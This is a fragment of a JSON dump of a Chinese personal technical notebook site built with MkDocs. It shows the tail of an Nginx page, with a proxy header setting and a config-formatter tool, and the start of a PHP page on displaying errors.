class=\"err\">proxy_set_header</span><span class=\"w\"> </span><span class=\"err\">X-Real-IP</span><span class=\"w\"> </span><span class=\"err\">$remote_addr</span><span class=\"p\">;</span>\n<span class=\"w\">        </span><span class=\"p\">}</span>\n<span class=\"w\">    </span><span class=\"err\">}</span>\n<span class=\"err\">}</span>\n</code></pre></div>\n\n<h2 id=\"nginx_4\">Nginx配置文件格式化<a class=\"headerlink\" href=\"#nginx_4\" title=\"Permanent link\">&para;</a></h2>\n<p>直接用vi改了配置文件后，很容易不注意缩进，有没有一个自动prettify的工具呢</p>\n<p>还真有： https://github.com/1connect/nginx-config-formatter</p>\n<div class=\"codehilite\"><pre><span></span><code>wget https://raw.githubusercontent.com/1connect/nginx-config-formatter/master/nginxfmt.py\npython3 nginxfmt.py /etc/nginx/nginx.conf\n</code></pre></div>\n\n\n\n\n\n                \n              </article>\n            </div>\n          \n          \n        </div>\n        \n      </main>\n      \n        <footer class=\"md-footer\">\n  \n  <div class=\"md-footer-meta md-typeset\">\n    <div class=\"md-footer-meta__inner md-grid\">\n      <div class=\"md-copyright\">\n  \n    <div class=\"md-copyright__highlight\">\n      <a href=https://beian.miit.gov.cn/>浙ICP备15043819号-2</a>&nbsp;&nbsp;<a target=_blank href=http://www.beian.gov.cn/portal/registerSystemInfo?recordcode=33010602007826><img src=\"/assets/images/beian.png\" height=14px>浙公网安备 33010602007826号</p></a>\n    </div>\n  \n  \n    Made with\n    <a href=\"https://squidfunk.github.io/mkdocs-material/\" target=\"_blank\" rel=\"noopener\">\n      Material for MkDocs\n    </a>\n  \n</div>\n      \n    </div>\n  </div>\n</footer>\n      \n    </div>\n    <div class=\"md-dialog\" data-md-component=\"dialog\">\n      <div class=\"md-dialog__inner md-typeset\"></div>\n    </div>\n    \n    <script id=\"__config\" type=\"application/json\">{\"base\": \"..\", \"features\": [], \"search\": \"../assets/javascripts/workers/search.208ed371.min.js\", \"translations\": {\"clipboard.copied\": \"Copied to clipboard\", \"clipboard.copy\": \"Copy to clipboard\", \"search.result.more.one\": \"1 more on this page\", \"search.result.more.other\": \"# more on this page\", \"search.result.none\": \"No matching documents\", \"search.result.one\": \"1 matching document\", \"search.result.other\": \"# matching documents\", \"search.result.placeholder\": \"Type to start searching\", \"search.result.term.missing\": \"Missing\", \"select.version\": \"Select version\"}}</script>\n    \n    \n      <script src=\"../assets/javascripts/bundle.efa0ade1.min.js\"></script>\n      \n        <script src=\"../assets/js/instantclick.min.js\"></script>\n      \n        <script src=\"../assets/js/index.js\"></script>\n      \n    \n  </body>\n</html>"
  },
  {
    "path": "docs/PHP/index.html",
    "content": "\n<!doctype html>\n<html lang=\"en\" class=\"no-js\">\n  <head>\n    \n      <meta charset=\"utf-8\">\n      <meta name=\"viewport\" content=\"width=device-width,initial-scale=1\">\n      \n        <meta name=\"description\" content=\"我的技术笔记本~\">\n      \n      \n        <meta name=\"author\" content=\"chenyuan\">\n      \n      \n      \n        <link rel=\"prev\" href=\"../JavaScript/\">\n      \n      \n        <link rel=\"next\" href=\"../CDN/\">\n      \n      <link rel=\"icon\" href=\"../assets/images/favicon.png\">\n      <meta name=\"generator\" content=\"mkdocs-1.4.2, mkdocs-material-9.1.3\">\n    \n    \n      \n        <title>PHP - notebook</title>\n      \n    \n    \n      <link rel=\"stylesheet\" href=\"../assets/stylesheets/main.c4a75a56.min.css\">\n      \n        \n        <link rel=\"stylesheet\" href=\"../assets/stylesheets/palette.a0c5b2b5.min.css\">\n      \n      \n\n    \n    \n    \n      \n        \n        \n        <link rel=\"preconnect\" href=\"https://fonts.gstatic.com\" crossorigin>\n        <link rel=\"stylesheet\" href=\"/assets/css/fonts.css?family=Roboto:300,300i,400,400i,700,700i%7CRoboto+Mono:400,400i,700,700i&display=fallback\">\n        <style>:root{--md-text-font:\"Roboto\";--md-code-font:\"Roboto Mono\"}</style>\n      \n    \n    \n    <script>__md_scope=new URL(\"..\",location),__md_hash=e=>[...e].reduce((e,_)=>(e<<5)-e+_.charCodeAt(0),0),__md_get=(e,_=localStorage,t=__md_scope)=>JSON.parse(_.getItem(t.pathname+\".\"+e)),__md_set=(e,_,t=localStorage,a=__md_scope)=>{try{t.setItem(a.pathname+\".\"+e,JSON.stringify(_))}catch(e){}}</script>\n    \n      \n\n    \n    \n    \n  </head>\n  \n  \n    \n    \n    \n    \n    \n    <body dir=\"ltr\" data-md-color-scheme=\"default\" data-md-color-primary=\"\" data-md-color-accent=\"\">\n  \n    \n    \n    <input class=\"md-toggle\" data-md-toggle=\"drawer\" type=\"checkbox\" id=\"__drawer\" autocomplete=\"off\">\n    <input class=\"md-toggle\" data-md-toggle=\"search\" type=\"checkbox\" id=\"__search\" autocomplete=\"off\">\n    <label class=\"md-overlay\" for=\"__drawer\"></label>\n    <div data-md-component=\"skip\">\n      \n        \n        <a href=\"#php\" class=\"md-skip\">\n          Skip to content\n        </a>\n      \n    </div>\n    <div data-md-component=\"announce\">\n      \n    </div>\n    \n    \n      \n\n  \n\n<header class=\"md-header md-header--shadow\" data-md-component=\"header\">\n  <nav class=\"md-header__inner md-grid\" aria-label=\"Header\">\n    <a href=\"..\" title=\"notebook\" class=\"md-header__button md-logo\" aria-label=\"notebook\" data-md-component=\"logo\">\n      \n  \n  <svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 24 24\"><path d=\"M12 8a3 3 0 0 0 3-3 3 3 0 0 0-3-3 3 3 0 0 0-3 3 3 3 0 0 0 3 3m0 3.54C9.64 9.35 6.5 8 3 8v11c3.5 0 6.64 1.35 9 3.54 2.36-2.19 5.5-3.54 9-3.54V8c-3.5 0-6.64 1.35-9 3.54Z\"/></svg>\n\n    </a>\n    <label class=\"md-header__button md-icon\" for=\"__drawer\">\n      <svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 24 24\"><path d=\"M3 6h18v2H3V6m0 5h18v2H3v-2m0 5h18v2H3v-2Z\"/></svg>\n    </label>\n    <div class=\"md-header__title\" data-md-component=\"header-title\">\n      <div class=\"md-header__ellipsis\">\n        <div class=\"md-header__topic\">\n          <span class=\"md-ellipsis\">\n            notebook\n          </span>\n        </div>\n        <div class=\"md-header__topic\" data-md-component=\"header-topic\">\n          <span class=\"md-ellipsis\">\n            \n              PHP\n            \n          </span>\n        </div>\n      </div>\n    </div>\n    \n    \n    \n      <label class=\"md-header__button md-icon\" for=\"__search\">\n        <svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 24 24\"><path d=\"M9.5 3A6.5 6.5 0 0 1 16 9.5c0 1.61-.59 3.09-1.56 4.23l.27.27h.79l5 5-1.5 1.5-5-5v-.79l-.27-.27A6.516 6.516 0 0 1 9.5 16 6.5 6.5 0 0 1 3 9.5 6.5 6.5 0 0 1 9.5 3m0 2C7 5 5 7 5 9.5S7 14 9.5 14 14 12 14 9.5 12 5 9.5 5Z\"/></svg>\n      </label>\n      <div class=\"md-search\" data-md-component=\"search\" role=\"dialog\">\n  <label class=\"md-search__overlay\" for=\"__search\"></label>\n  <div class=\"md-search__inner\" role=\"search\">\n    <form class=\"md-search__form\" name=\"search\">\n      <input type=\"text\" class=\"md-search__input\" name=\"query\" aria-label=\"Search\" placeholder=\"Search\" autocapitalize=\"off\" autocorrect=\"off\" autocomplete=\"off\" spellcheck=\"false\" data-md-component=\"search-query\" required>\n      <label class=\"md-search__icon md-icon\" for=\"__search\">\n        <svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 24 24\"><path d=\"M9.5 3A6.5 6.5 0 0 1 16 9.5c0 1.61-.59 3.09-1.56 4.23l.27.27h.79l5 5-1.5 1.5-5-5v-.79l-.27-.27A6.516 6.516 0 0 1 9.5 16 6.5 6.5 0 0 1 3 9.5 6.5 6.5 0 0 1 9.5 3m0 2C7 5 5 7 5 9.5S7 14 9.5 14 14 12 14 9.5 12 5 9.5 5Z\"/></svg>\n        <svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 24 24\"><path d=\"M20 11v2H8l5.5 5.5-1.42 1.42L4.16 12l7.92-7.92L13.5 5.5 8 11h12Z\"/></svg>\n      </label>\n      <nav class=\"md-search__options\" aria-label=\"Search\">\n        \n        <button type=\"reset\" class=\"md-search__icon md-icon\" title=\"Clear\" aria-label=\"Clear\" tabindex=\"-1\">\n          <svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 24 24\"><path d=\"M19 6.41 17.59 5 12 10.59 6.41 5 5 6.41 10.59 12 5 17.59 6.41 19 12 13.41 17.59 19 19 17.59 13.41 12 19 6.41Z\"/></svg>\n        </button>\n      </nav>\n      \n    </form>\n    <div class=\"md-search__output\">\n      <div class=\"md-search__scrollwrap\" data-md-scrollfix>\n        <div class=\"md-search-result\" data-md-component=\"search-result\">\n          <div class=\"md-search-result__meta\">\n            Initializing search\n          </div>\n          <ol class=\"md-search-result__list\" role=\"presentation\"></ol>\n        </div>\n      </div>\n    </div>\n  </div>\n</div>\n    \n    \n      <div class=\"md-header__source\">\n        <a href=\"https://github.com/zjuchenyuan/notebook/\" title=\"Go to repository\" class=\"md-source\" data-md-component=\"source\">\n  <div class=\"md-source__icon md-icon\">\n    \n    <svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 448 512\"><!--! Font Awesome Free 6.3.0 by @fontawesome - https://fontawesome.com License - https://fontawesome.com/license/free (Icons: CC BY 4.0, Fonts: SIL OFL 1.1, Code: MIT License) Copyright 2023 Fonticons, Inc.--><path d=\"M439.55 236.05 244 40.45a28.87 28.87 0 0 0-40.81 0l-40.66 40.63 51.52 51.52c27.06-9.14 52.68 16.77 43.39 43.68l49.66 49.66c34.23-11.8 61.18 31 35.47 56.69-26.49 26.49-70.21-2.87-56-37.34L240.22 199v121.85c25.3 12.54 22.26 41.85 9.08 55a34.34 34.34 0 0 1-48.55 0c-17.57-17.6-11.07-46.91 11.25-56v-123c-20.8-8.51-24.6-30.74-18.64-45L142.57 101 8.45 235.14a28.86 28.86 0 0 0 0 40.81l195.61 195.6a28.86 28.86 0 0 0 40.8 0l194.69-194.69a28.86 28.86 0 0 0 0-40.81z\"/></svg>\n  </div>\n  <div class=\"md-source__repository\">\n    GitHub\n  </div>\n</a>\n      </div>\n    \n  </nav>\n  \n</header>\n    \n    <div class=\"md-container\" data-md-component=\"container\">\n      \n      \n        \n          \n        \n      \n      <main class=\"md-main\" data-md-component=\"main\">\n        <div class=\"md-main__inner md-grid\">\n          \n            \n              \n              <div class=\"md-sidebar md-sidebar--primary\" data-md-component=\"sidebar\" data-md-type=\"navigation\" >\n                <div class=\"md-sidebar__scrollwrap\">\n                  <div class=\"md-sidebar__inner\">\n                    \n\n\n<nav class=\"md-nav md-nav--primary\" aria-label=\"Navigation\" data-md-level=\"0\">\n  <label class=\"md-nav__title\" for=\"__drawer\">\n    <a href=\"..\" title=\"notebook\" class=\"md-nav__button md-logo\" aria-label=\"notebook\" data-md-component=\"logo\">\n      \n  \n  <svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 24 24\"><path d=\"M12 8a3 3 0 0 0 3-3 3 3 0 0 0-3-3 3 3 0 0 0-3 3 3 3 0 0 0 3 3m0 3.54C9.64 9.35 6.5 8 3 8v11c3.5 0 6.64 1.35 9 3.54 2.36-2.19 5.5-3.54 9-3.54V8c-3.5 0-6.64 1.35-9 3.54Z\"/></svg>\n\n    </a>\n    notebook\n  </label>\n  \n    <div class=\"md-nav__source\">\n      <a href=\"https://github.com/zjuchenyuan/notebook/\" title=\"Go to repository\" class=\"md-source\" data-md-component=\"source\">\n  <div class=\"md-source__icon md-icon\">\n    \n    <svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 448 512\"><!--! Font Awesome Free 6.3.0 by @fontawesome - https://fontawesome.com License - https://fontawesome.com/license/free (Icons: CC BY 4.0, Fonts: SIL OFL 1.1, Code: MIT License) Copyright 2023 Fonticons, Inc.--><path d=\"M439.55 236.05 244 40.45a28.87 28.87 0 0 0-40.81 0l-40.66 40.63 51.52 51.52c27.06-9.14 52.68 16.77 43.39 43.68l49.66 49.66c34.23-11.8 61.18 31 35.47 56.69-26.49 26.49-70.21-2.87-56-37.34L240.22 199v121.85c25.3 12.54 22.26 41.85 9.08 55a34.34 34.34 0 0 1-48.55 0c-17.57-17.6-11.07-46.91 11.25-56v-123c-20.8-8.51-24.6-30.74-18.64-45L142.57 101 8.45 235.14a28.86 28.86 0 0 0 0 40.81l195.61 195.6a28.86 28.86 0 0 0 40.8 0l194.69-194.69a28.86 28.86 0 0 0 0-40.81z\"/></svg>\n  </div>\n  <div class=\"md-source__repository\">\n    GitHub\n  </div>\n</a>\n    </div>\n  \n  <ul class=\"md-nav__list\" data-md-scrollfix>\n    \n      \n      \n      \n\n  \n  \n  \n    <li class=\"md-nav__item\">\n      <a href=\"..\" class=\"md-nav__link\">\n        Home\n      </a>\n    </li>\n  \n\n    \n      \n      \n      \n\n  \n  \n  \n    \n    <li class=\"md-nav__item md-nav__item--nested\">\n      \n      \n      \n      \n      <input class=\"md-nav__toggle md-toggle \" type=\"checkbox\" id=\"__nav_2\" >\n      \n      \n      \n        <label class=\"md-nav__link\" for=\"__nav_2\" id=\"__nav_2_label\" tabindex=\"0\">\n          Python\n          <span class=\"md-nav__icon md-icon\"></span>\n        </label>\n      \n      <nav class=\"md-nav\" data-md-level=\"1\" aria-labelledby=\"__nav_2_label\" aria-expanded=\"false\">\n        <label class=\"md-nav__title\" for=\"__nav_2\">\n          <span class=\"md-nav__icon md-icon\"></span>\n          Python\n        </label>\n        <ul class=\"md-nav__list\" data-md-scrollfix>\n          \n            \n              \n  \n  \n  \n    <li class=\"md-nav__item\">\n      <a href=\"../Python/\" class=\"md-nav__link\">\n        Python\n      </a>\n    </li>\n  \n\n            \n          \n            \n              \n  \n  \n  \n    <li class=\"md-nav__item\">\n      <a href=\"../gist/\" class=\"md-nav__link\">\n        Gist Python一些常用代码片段\n      </a>\n    </li>\n  \n\n            \n          \n            \n              \n  \n  \n  \n    <li class=\"md-nav__item\">\n      <a href=\"../PythonCourse/\" class=\"md-nav__link\">\n        Course Python程序设计\n      </a>\n    </li>\n  \n\n            \n          \n        </ul>\n      </nav>\n    </li>\n  \n\n    \n      \n      \n      \n\n  \n  \n    \n  \n  \n    \n    <li class=\"md-nav__item md-nav__item--active md-nav__item--nested\">\n      \n      \n      \n      \n      <input class=\"md-nav__toggle md-toggle \" type=\"checkbox\" id=\"__nav_3\" checked>\n      \n      \n      \n        <label class=\"md-nav__link\" for=\"__nav_3\" id=\"__nav_3_label\" tabindex=\"0\">\n          Programming Languages\n          <span class=\"md-nav__icon md-icon\"></span>\n        </label>\n      \n      <nav class=\"md-nav\" data-md-level=\"1\" aria-labelledby=\"__nav_3_label\" aria-expanded=\"true\">\n        <label class=\"md-nav__title\" for=\"__nav_3\">\n          <span class=\"md-nav__icon md-icon\"></span>\n          Programming Languages\n        </label>\n        <ul class=\"md-nav__list\" data-md-scrollfix>\n          \n            \n              \n  \n  \n  \n    <li class=\"md-nav__item\">\n      <a href=\"../BASH/\" class=\"md-nav__link\">\n        BASH\n      </a>\n    </li>\n  \n\n            \n          \n            \n              \n  \n  \n  \n    <li class=\"md-nav__item\">\n      <a href=\"../BAT/\" class=\"md-nav__link\">\n        BAT批处理\n      </a>\n    </li>\n  \n\n            \n          \n            \n              \n  \n  \n  \n    <li class=\"md-nav__item\">\n      <a href=\"../C/\" class=\"md-nav__link\">\n        C语言\n      </a>\n    </li>\n  \n\n            \n          \n            \n              \n  \n  \n  \n    \n    <li class=\"md-nav__item md-nav__item--nested\">\n      \n      \n      \n      \n      <input class=\"md-nav__toggle md-toggle \" type=\"checkbox\" id=\"__nav_3_4\" >\n      \n      \n      \n        <label class=\"md-nav__link\" for=\"__nav_3_4\" id=\"__nav_3_4_label\" tabindex=\"0\">\n          Java\n          <span class=\"md-nav__icon md-icon\"></span>\n        </label>\n      \n      <nav class=\"md-nav\" data-md-level=\"2\" aria-labelledby=\"__nav_3_4_label\" aria-expanded=\"false\">\n        <label class=\"md-nav__title\" for=\"__nav_3_4\">\n          <span class=\"md-nav__icon md-icon\"></span>\n          Java\n        </label>\n        <ul class=\"md-nav__list\" data-md-scrollfix>\n          \n            \n              \n  \n  \n  \n    <li class=\"md-nav__item\">\n      <a href=\"../Java/\" class=\"md-nav__link\">\n        Java\n      </a>\n    </li>\n  \n\n            \n          \n            \n              \n  \n  \n  \n    <li class=\"md-nav__item\">\n      <a href=\"../S2-045/\" class=\"md-nav__link\">\n        S2-045\n      </a>\n    </li>\n  \n\n            \n          \n        </ul>\n      </nav>\n    </li>\n  \n\n            \n          \n            \n              \n  \n  \n  \n    <li class=\"md-nav__item\">\n      <a href=\"../JavaScript/\" class=\"md-nav__link\">\n        JavaScript\n      </a>\n    </li>\n  \n\n            \n          \n            \n              \n  \n  \n    \n  \n  \n    <li class=\"md-nav__item md-nav__item--active\">\n      \n      <input class=\"md-nav__toggle md-toggle\" type=\"checkbox\" id=\"__toc\">\n      \n      \n        \n      \n      \n        <label class=\"md-nav__link md-nav__link--active\" for=\"__toc\">\n          PHP\n          <span class=\"md-nav__icon md-icon\"></span>\n        </label>\n      \n      <a href=\"./\" class=\"md-nav__link md-nav__link--active\">\n        PHP\n      </a>\n      \n        \n\n<nav class=\"md-nav md-nav--secondary\" aria-label=\"Table of contents\">\n  \n  \n  \n    \n  \n  \n    <label class=\"md-nav__title\" for=\"__toc\">\n      <span class=\"md-nav__icon md-icon\"></span>\n      Table of contents\n    </label>\n    <ul class=\"md-nav__list\" data-md-component=\"toc\" data-md-scrollfix>\n      \n        <li class=\"md-nav__item\">\n  <a href=\"#_1\" class=\"md-nav__link\">\n    显示错误信息\n  </a>\n  \n</li>\n      \n        <li class=\"md-nav__item\">\n  <a href=\"#iframe\" class=\"md-nav__link\">\n    全页面iframe\n  </a>\n  \n</li>\n      \n    </ul>\n  \n</nav>\n      \n    </li>\n  \n\n            \n          \n        </ul>\n      </nav>\n    </li>\n  \n\n    \n      \n      \n      \n\n  \n  \n  \n    \n    <li class=\"md-nav__item md-nav__item--nested\">\n      \n      \n      \n      \n      <input class=\"md-nav__toggle md-toggle \" type=\"checkbox\" id=\"__nav_4\" >\n      \n      \n      \n        <label class=\"md-nav__link\" for=\"__nav_4\" id=\"__nav_4_label\" tabindex=\"0\">\n          Web\n          <span class=\"md-nav__icon md-icon\"></span>\n        </label>\n      \n      <nav class=\"md-nav\" data-md-level=\"1\" aria-labelledby=\"__nav_4_label\" aria-expanded=\"false\">\n        <label class=\"md-nav__title\" for=\"__nav_4\">\n          <span class=\"md-nav__icon md-icon\"></span>\n          Web\n        </label>\n        <ul class=\"md-nav__list\" data-md-scrollfix>\n          \n            \n              \n  \n  \n  \n    <li class=\"md-nav__item\">\n      <a href=\"../CDN/\" class=\"md-nav__link\">\n        CDN\n      </a>\n    </li>\n  \n\n            \n          \n            \n              \n  \n  \n  \n    <li class=\"md-nav__item\">\n      <a href=\"../cURL/\" class=\"md-nav__link\">\n        cURL\n      </a>\n    </li>\n  \n\n            \n          \n            \n              \n  \n  \n  \n    \n    <li class=\"md-nav__item md-nav__item--nested\">\n      \n      \n      \n      \n      <input class=\"md-nav__toggle md-toggle \" type=\"checkbox\" id=\"__nav_4_3\" >\n      \n      \n      \n        <label class=\"md-nav__link\" for=\"__nav_4_3\" id=\"__nav_4_3_label\" tabindex=\"0\">\n          Favorites\n          <span class=\"md-nav__icon md-icon\"></span>\n        </label>\n      \n      <nav class=\"md-nav\" data-md-level=\"2\" aria-labelledby=\"__nav_4_3_label\" aria-expanded=\"false\">\n        <label class=\"md-nav__title\" for=\"__nav_4_3\">\n          <span class=\"md-nav__icon md-icon\"></span>\n          Favorites\n        </label>\n        <ul class=\"md-nav__list\" data-md-scrollfix>\n          \n            \n              \n  \n  \n  \n    <li class=\"md-nav__item\">\n      <a href=\"../Favorites/\" class=\"md-nav__link\">\n        Favorites\n      </a>\n    </li>\n  \n\n            \n          \n            \n              \n  \n  \n  \n    <li class=\"md-nav__item\">\n      <a href=\"../GithubProjectRecommendation/\" class=\"md-nav__link\">\n        Github Project Recommendation\n      </a>\n    </li>\n  \n\n            \n          \n            \n              \n  \n  \n  \n    <li class=\"md-nav__item\">\n      <a href=\"../Links/\" class=\"md-nav__link\">\n        更多链接\n      </a>\n    </li>\n  \n\n            \n          \n        </ul>\n      </nav>\n    </li>\n  \n\n            \n          \n            \n              \n  \n  \n  \n    <li class=\"md-nav__item\">\n      <a href=\"../Flask/\" class=\"md-nav__link\">\n        Flask\n      </a>\n    </li>\n  \n\n            \n          \n            \n              \n  \n  \n  \n    <li class=\"md-nav__item\">\n      <a href=\"../MySQL/\" class=\"md-nav__link\">\n        MySQL\n      </a>\n    </li>\n  \n\n            \n          \n            \n              \n  \n  \n  \n    <li class=\"md-nav__item\">\n      <a href=\"../Nginx/\" class=\"md-nav__link\">\n        Nginx\n      </a>\n    </li>\n  \n\n            \n          \n            \n              \n  \n  \n  \n    <li class=\"md-nav__item\">\n      <a href=\"../RabbitMQ/\" class=\"md-nav__link\">\n        RabbitMQ\n      </a>\n    </li>\n  \n\n            \n          \n        </ul>\n      </nav>\n    </li>\n  \n\n    \n      \n      \n      \n\n  \n  \n  \n    \n    <li class=\"md-nav__item md-nav__item--nested\">\n      \n      \n      \n      \n      <input class=\"md-nav__toggle md-toggle \" type=\"checkbox\" id=\"__nav_5\" >\n      \n      \n      \n        <label class=\"md-nav__link\" for=\"__nav_5\" id=\"__nav_5_label\" tabindex=\"0\">\n          Development\n          <span class=\"md-nav__icon md-icon\"></span>\n        </label>\n      \n      <nav class=\"md-nav\" data-md-level=\"1\" aria-labelledby=\"__nav_5_label\" aria-expanded=\"false\">\n        <label class=\"md-nav__title\" for=\"__nav_5\">\n          <span class=\"md-nav__icon md-icon\"></span>\n          Development\n        </label>\n        <ul class=\"md-nav__list\" data-md-scrollfix>\n          \n            \n              \n  \n  \n  \n    <li class=\"md-nav__item\">\n      <a href=\"../Developer/\" class=\"md-nav__link\">\n        Developer\n      </a>\n    </li>\n  \n\n            \n          \n            \n              \n  \n  \n  \n    <li class=\"md-nav__item\">\n      <a href=\"../Docker/\" class=\"md-nav__link\">\n        Docker\n      </a>\n    </li>\n  \n\n            \n          \n            \n              \n  \n  \n  \n    <li class=\"md-nav__item\">\n      <a href=\"../ETH/\" class=\"md-nav__link\">\n        ETH\n      </a>\n    </li>\n  \n\n            \n          \n            \n              \n  \n  \n  \n    <li class=\"md-nav__item\">\n      <a href=\"../Git/\" class=\"md-nav__link\">\n        Git\n      </a>\n    </li>\n  \n\n            \n          \n            \n              \n  \n  \n  \n    <li class=\"md-nav__item\">\n      <a href=\"../Jekyll/\" class=\"md-nav__link\">\n        Jekyll\n      </a>\n    </li>\n  \n\n            \n          \n            \n              \n  \n  \n  \n    <li class=\"md-nav__item\">\n      <a href=\"../PaperReading/\" class=\"md-nav__link\">\n        Paper Reading\n      </a>\n    </li>\n  \n\n            \n          \n            \n              \n  \n  \n  \n    <li class=\"md-nav__item\">\n      <a href=\"../WindowsSoftware/\" class=\"md-nav__link\">\n        WindowsSoftware\n      </a>\n    </li>\n  \n\n            \n          \n        </ul>\n      </nav>\n    </li>\n  \n\n    \n      \n      \n      \n\n  \n  \n  \n    \n    <li class=\"md-nav__item md-nav__item--nested\">\n      \n      \n      \n      \n      <input class=\"md-nav__toggle md-toggle \" type=\"checkbox\" id=\"__nav_6\" >\n      \n      \n      \n        <label class=\"md-nav__link\" for=\"__nav_6\" id=\"__nav_6_label\" tabindex=\"0\">\n          Fuzzing\n          <span class=\"md-nav__icon md-icon\"></span>\n        </label>\n      \n      <nav class=\"md-nav\" data-md-level=\"1\" aria-labelledby=\"__nav_6_label\" aria-expanded=\"false\">\n        <label class=\"md-nav__title\" for=\"__nav_6\">\n          <span class=\"md-nav__icon md-icon\"></span>\n          Fuzzing\n        </label>\n        <ul class=\"md-nav__list\" data-md-scrollfix>\n          \n            \n              \n  \n  \n  \n    <li class=\"md-nav__item\">\n      <a href=\"../dfsan/\" class=\"md-nav__link\">\n        DFSan\n      </a>\n    </li>\n  \n\n            \n          \n        </ul>\n      </nav>\n    </li>\n  \n\n    \n      \n      \n      \n\n  \n  \n  \n    \n    <li class=\"md-nav__item md-nav__item--nested\">\n      \n      \n      \n      \n      <input class=\"md-nav__toggle md-toggle \" type=\"checkbox\" id=\"__nav_7\" >\n      \n      \n      \n        <label class=\"md-nav__link\" for=\"__nav_7\" id=\"__nav_7_label\" tabindex=\"0\">\n          Fun\n          <span class=\"md-nav__icon md-icon\"></span>\n        </label>\n      \n      <nav class=\"md-nav\" data-md-level=\"1\" aria-labelledby=\"__nav_7_label\" aria-expanded=\"false\">\n        <label class=\"md-nav__title\" for=\"__nav_7\">\n          <span class=\"md-nav__icon md-icon\"></span>\n          Fun\n        </label>\n        <ul class=\"md-nav__list\" data-md-scrollfix>\n          \n            \n              \n  \n  \n  \n    <li class=\"md-nav__item\">\n      <a href=\"../Bitcoin/\" class=\"md-nav__link\">\n        Bitcoin\n      </a>\n    </li>\n  \n\n            \n          \n        </ul>\n      </nav>\n    </li>\n  \n\n    \n      \n      \n      \n\n  \n  \n  \n    \n    <li class=\"md-nav__item md-nav__item--nested\">\n      \n      \n      \n      \n      <input class=\"md-nav__toggle md-toggle \" type=\"checkbox\" id=\"__nav_8\" >\n      \n      \n      \n        <label class=\"md-nav__link\" for=\"__nav_8\" id=\"__nav_8_label\" tabindex=\"0\">\n          Linux\n          <span class=\"md-nav__icon md-icon\"></span>\n        </label>\n      \n      <nav class=\"md-nav\" data-md-level=\"1\" aria-labelledby=\"__nav_8_label\" aria-expanded=\"false\">\n        <label class=\"md-nav__title\" for=\"__nav_8\">\n          <span class=\"md-nav__icon md-icon\"></span>\n          Linux\n        </label>\n        <ul class=\"md-nav__list\" data-md-scrollfix>\n          \n            \n              \n  \n  \n  \n    <li class=\"md-nav__item\">\n      <a href=\"../Linux-backup/\" class=\"md-nav__link\">\n        Linux-backup\n      </a>\n    </li>\n  \n\n            \n          \n            \n              \n  \n  \n  \n    <li class=\"md-nav__item\">\n      <a href=\"../Linux-setup/\" class=\"md-nav__link\">\n        Linux-setup\n      </a>\n    </li>\n  \n\n            \n          \n            \n              \n  \n  \n  \n    <li class=\"md-nav__item\">\n      <a href=\"../Linux-SSH/\" class=\"md-nav__link\">\n        Linux-SSH\n      </a>\n    </li>\n  \n\n            \n          \n            \n              \n  \n  \n  \n    <li class=\"md-nav__item\">\n      <a href=\"../Linux-cli/\" class=\"md-nav__link\">\n        Linux-cli\n      </a>\n    </li>\n  \n\n            \n          \n            \n              \n  \n  \n  \n    <li class=\"md-nav__item\">\n      <a href=\"../Linux-VirtualBox/\" class=\"md-nav__link\">\n        Linux-VirtualBox\n      </a>\n    </li>\n  \n\n            \n          \n            \n              \n  \n  \n  \n    <li class=\"md-nav__item\">\n      <a href=\"../Ubuntu/\" class=\"md-nav__link\">\n        Ubuntu\n      </a>\n    </li>\n  \n\n            \n          \n        </ul>\n      </nav>\n    </li>\n  \n\n    \n      \n      \n      \n\n  \n  \n  \n    \n    <li class=\"md-nav__item md-nav__item--nested\">\n      \n      \n      \n      \n      <input class=\"md-nav__toggle md-toggle \" type=\"checkbox\" id=\"__nav_9\" >\n      \n      \n      \n        <label class=\"md-nav__link\" for=\"__nav_9\" id=\"__nav_9_label\" tabindex=\"0\">\n          My Projects\n          <span class=\"md-nav__icon md-icon\"></span>\n        </label>\n      \n      <nav class=\"md-nav\" data-md-level=\"1\" aria-labelledby=\"__nav_9_label\" aria-expanded=\"false\">\n        <label class=\"md-nav__title\" for=\"__nav_9\">\n          <span class=\"md-nav__icon md-icon\"></span>\n          My Projects\n        </label>\n        <ul class=\"md-nav__list\" data-md-scrollfix>\n          \n            \n              \n  \n  \n  \n    <li class=\"md-nav__item\">\n      <a href=\"../zjugrshelper/\" class=\"md-nav__link\">\n        ZJU grs helper\n      </a>\n    </li>\n  \n\n            \n          \n            \n              \n  \n  \n  \n    <li class=\"md-nav__item\">\n      <a href=\"../ccfbadge/\" class=\"md-nav__link\">\n        CCF Badge\n      </a>\n    </li>\n  \n\n            \n          \n        </ul>\n      </nav>\n    </li>\n  \n\n    \n  </ul>\n</nav>\n                  </div>\n                </div>\n              </div>\n            \n            \n              \n              <div class=\"md-sidebar md-sidebar--secondary\" data-md-component=\"sidebar\" data-md-type=\"toc\" >\n                <div class=\"md-sidebar__scrollwrap\">\n                  <div class=\"md-sidebar__inner\">\n                    \n\n<nav class=\"md-nav md-nav--secondary\" aria-label=\"Table of contents\">\n  \n  \n  \n    \n  \n  \n    <label class=\"md-nav__title\" for=\"__toc\">\n      <span class=\"md-nav__icon md-icon\"></span>\n      Table of contents\n    </label>\n    <ul class=\"md-nav__list\" data-md-component=\"toc\" data-md-scrollfix>\n      \n        <li class=\"md-nav__item\">\n  <a href=\"#_1\" class=\"md-nav__link\">\n    显示错误信息\n  </a>\n  \n</li>\n      \n        <li class=\"md-nav__item\">\n  <a href=\"#iframe\" class=\"md-nav__link\">\n    全页面iframe\n  </a>\n  \n</li>\n      \n    </ul>\n  \n</nav>\n                  </div>\n                </div>\n              </div>\n            \n          \n          \n            <div class=\"md-content\" data-md-component=\"content\">\n              <article class=\"md-content__inner md-typeset\">\n                \n                  \n\n  \n  \n\n\n<h1 id=\"php\">PHP<a class=\"headerlink\" href=\"#php\" title=\"Permanent link\">&para;</a></h1>\n<h2 id=\"_1\">显示错误信息<a class=\"headerlink\" href=\"#_1\" title=\"Permanent link\">&para;</a></h2>\n<p>PHP返回500，不知道发生了啥，就在php文件开头显示所有错误：</p>\n<div 